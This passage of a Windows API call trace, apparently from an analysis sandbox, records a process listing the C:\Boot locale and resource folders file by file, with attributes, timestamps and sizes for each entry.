ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0135.038] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.038] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.038] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.038] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.038] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0135.038] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.038] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0135.038] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0135.039] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.039] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.039] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.039] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.039] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0135.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.039] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0135.039] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0135.039] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.039] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.040] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.040] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.040] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0135.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.040] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0135.040] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b288 [0135.040] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.040] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0135.040] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0135.041] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b248 [0135.041] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0135.041] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0135.041] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0135.041] FindClose (in: hFindFile=0x69b248 | out: hFindFile=0x69b248) returned 1 [0135.041] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.041] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0135.041] FindClose (in: hFindFile=0x69b288 | out: hFindFile=0x69b288) returned 1 [0135.041] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.041] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0135.041] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b248 [0135.042] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.042] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.042] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.042] FindClose (in: hFindFile=0x69b248 | out: hFindFile=0x69b248) returned 1 [0135.042] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.042] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0135.042] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0135.043] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.043] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.043] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.043] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.043] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0135.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.043] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0135.043] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b348 [0135.043] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.043] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.043] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.043] FindClose (in: hFindFile=0x69b348 | out: hFindFile=0x69b348) returned 1 [0135.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.044] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0135.044] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, 